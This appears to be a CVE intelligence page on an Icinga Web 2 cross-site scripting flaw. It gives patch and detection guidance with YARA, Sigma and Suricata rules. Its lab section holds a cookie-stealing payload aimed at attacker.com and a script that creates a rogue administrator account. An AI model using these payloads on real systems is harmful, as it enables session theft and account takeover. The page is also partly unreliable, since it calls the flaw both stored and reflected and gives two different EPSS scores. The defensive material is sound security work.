☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2025-27404

CVE-2025-27404 Cross-Site Scripting in Icinga
📅 PUBLISHED: 2025-03-26 14:21 UTC 🔄 UPDATED: 2026-10-02 19:30 UTC
[ OFFICIAL PATCH DEPLOYED ↓ ] FIX: CONFIRMED — 3+ independent sources confirm fix
[ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.60%
👁️
0.60% probability
14.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
Patch available — upgrade to latest release
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
7.7
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-27404 is a stored cross-site scripting (XSS) vulnerability in Icinga Web 2, an open-source monitoring web interface. An attacker can craft a malicious URL that, when visited by an authenticated user, executes arbitrary JavaScript in the context of the victim's session. This allows the attacker to perform actions on behalf of the victim, such as modifying monitoring configurations, exfiltrating sensitive data, or escalating privileges. The vulnerability affects all versions prior to 2.11.5 and 2.12.3. The CVSS score is 7.7 (High), and while the EPSS score is currently 0.0%, the risk is significant due to the potential for account takeover and lateral movement within monitored infrastructure.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct code vulnerability in the Icinga Web 2 application. The fix is available via official Icinga repositories.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
  • Base Score: 7.7 (High)
  • Attack Vector: Network (AV:N) – The attacker can exploit this remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: None (PR:N) – The attacker does not need to be authenticated.
  • User Interaction: Required (UI:R) – The victim must click the crafted link.
  • Scope: Changed (S:C) – The vulnerability can impact resources beyond the vulnerable component.
  • Confidentiality Impact: High (C:H) – Full disclosure of all data accessible to the victim.
  • Integrity Impact: Low (I:L) – Limited modification of data is possible.
  • Availability Impact: None (A:N) – No direct denial of service.

Threat Level: High. While no public exploit exists, the vulnerability is trivial to exploit once the mechanism is understood. The ability to act on behalf of any user makes this a prime target for phishing campaigns.

Deep Dive & Mechanics

The vulnerability resides in how Icinga Web 2 handles user-supplied input in URL parameters. Specifically, the application fails to properly sanitize or encode certain parameters before rendering them in the HTML response. An attacker can inject JavaScript code into a parameter value, which is then reflected or stored and executed when the victim's browser processes the page.

Attack Flow:

  1. The attacker crafts a URL containing a malicious payload in a vulnerable parameter (e.g., ?q=<script>alert(1)</script>).
  2. The attacker sends this URL to a victim (e.g., via email, chat, or a compromised site).
  3. The victim, who is authenticated to Icinga Web 2, clicks the link.
  4. The victim's browser sends the request, and the server returns a page that includes the unsanitized payload.
  5. The browser executes the injected JavaScript, which now runs in the context of the victim's session.
  6. The attacker's script can perform any action the victim can, including fetching CSRF tokens, modifying monitoring configurations, or exfiltrating session cookies.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The root cause is the lack of output encoding for user-controlled data in the response.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// In a controller or view file
$query = $_GET['q'];
echo "<div class='search-results'>You searched for: " . $query . "</div>";

Patched Code (Conceptual):

// Using a proper escaping function
$query = $_GET['q'];
echo "<div class='search-results'>You searched for: " . htmlspecialchars($query, ENT_QUOTES, 'UTF-8') . "</div>";

The patched version uses htmlspecialchars() to encode HTML special characters, preventing script injection. The actual fix in Icinga Web 2 involves applying consistent output encoding across all user-facing parameters.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

  1. Deploy a vulnerable Icinga Web 2 instance (version 2.12.2) using Docker:
    docker run -d -p 8080:80 icinga/icingaweb2:2.12.2
    
  2. Access the web interface at http://localhost:8080/icingaweb2.
  3. Create a test user with monitoring permissions.

Exploitation Steps:

  1. Identify a vulnerable parameter. For example, the search functionality in the "Monitoring" module.
  2. Craft a payload to steal session cookies:
    <script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>
    
  3. URL-encode the payload and append it to the vulnerable parameter:
    http://localhost:8080/icingaweb2/monitoring/list/services?q=%3Cscript%3Edocument.location%3D%27http%3A%2F%2Fattacker.com%2Fsteal%3Fcookie%3D%27%2Bdocument.cookie%3C%2Fscript%3E
    
  4. Send this link to the victim (simulated by opening it in a browser where the test user is logged in).
  5. The attacker's server receives the victim's session cookie, allowing session hijacking.

Advanced Payload: To perform actions on behalf of the victim, use a payload that fetches CSRF tokens and submits a form to create a new admin user:

fetch('/icingaweb2/authentication/user/create').then(r=>r.text()).then(html=>{
  let token = html.match(/csrf_token" value="([^"]+)"/)[1];
  fetch('/icingaweb2/authentication/user/create', {
    method:'POST',
    headers:{'Content-Type':'application/x-www-form-urlencoded'},
    body:'csrf_token='+token+'&username=attacker&password=attacker123&role=Administrator'
  });
});

Blue Team (Defensive)

Detection:

  1. Monitor web server logs for unusual URL patterns containing <script>, onerror=, javascript:, or other XSS indicators.
  2. Use a Web Application Firewall (WAF) to block common XSS payloads.
  3. Implement Content Security Policy (CSP) headers to restrict script execution.

Mitigation:

  1. Immediately upgrade to Icinga Web 2 version 2.11.5 or 2.12.3.
  2. If upgrade is not possible, enable CSP in the application settings (for version 2.12.2):
    • Navigate to Configuration → Application → Security.
    • Set "Content Security Policy" to default-src 'self'; script-src 'self'.
  3. Educate users about phishing attacks and the importance of not clicking suspicious links.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing <script> tags in query parameters.
    • Outbound connections to unknown domains from the Icinga Web server.
    • Unusual POST requests to user creation or configuration endpoints.
  • Host IOCs:

    • Unexpected JavaScript files in the web root (e.g., /usr/share/icingaweb2/public/js/malicious.js).
    • Modified configuration files (e.g., /etc/icingaweb2/resources.ini).
    • New user accounts in the Icinga Web authentication database.
  • Log IOCs:

    • Web server logs showing %3Cscript%3E or similar URL-encoded XSS patterns.
    • Application logs showing failed CSRF token validation (indicating automated exploitation attempts).

Detection Engineering

YARA Rule

rule CVE_2025_27404_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting CVE-2025-27404 in Icinga Web 2"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-27404"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/i
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss3 = /javascript\s*:\s*/i
        $xss4 = /onload\s*=\s*["']?[^"'\s>]+/i
    condition:
        any of them
}

Sigma Rule

title: CVE-2025-27404 XSS Attempt in Icinga Web 2
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential XSS attacks targeting CVE-2025-27404 via URL parameters
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'javascript:'
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in search queries (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-27404 XSS Attempt in Icinga Web 2"; flow:to_server,established; content:"GET"; http_method; content:"/icingaweb2/"; http_uri; pcre:"/(<script|onerror=|javascript:|onload=)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Upgrade: Update Icinga Web 2 to version 2.11.5 or 2.12.3 immediately.
    # For Debian/Ubuntu
    sudo apt update && sudo apt install icingaweb2=2.12.3-1
    # For RHEL/CentOS
    sudo yum update icingaweb2-2.12.3-1
    
  2. Workaround: If upgrade is not possible, enable Content Security Policy (CSP) in Icinga Web 2.12.2:
    • Go to Configuration → Application → Security.
    • Set CSP to default-src 'self'; script-src 'self'.
  3. WAF Rules: Deploy WAF rules to block common XSS patterns.

Long-Term Measures:

  1. Code Review: Conduct a security audit of all user-facing input handling.
  2. Input Validation: Implement strict input validation and output encoding for all user-supplied data.
  3. Security Training: Train developers on secure coding practices, especially regarding XSS prevention.
  4. Regular Updates: Establish a patch management process for all web applications.

Valters IT

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-27404/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.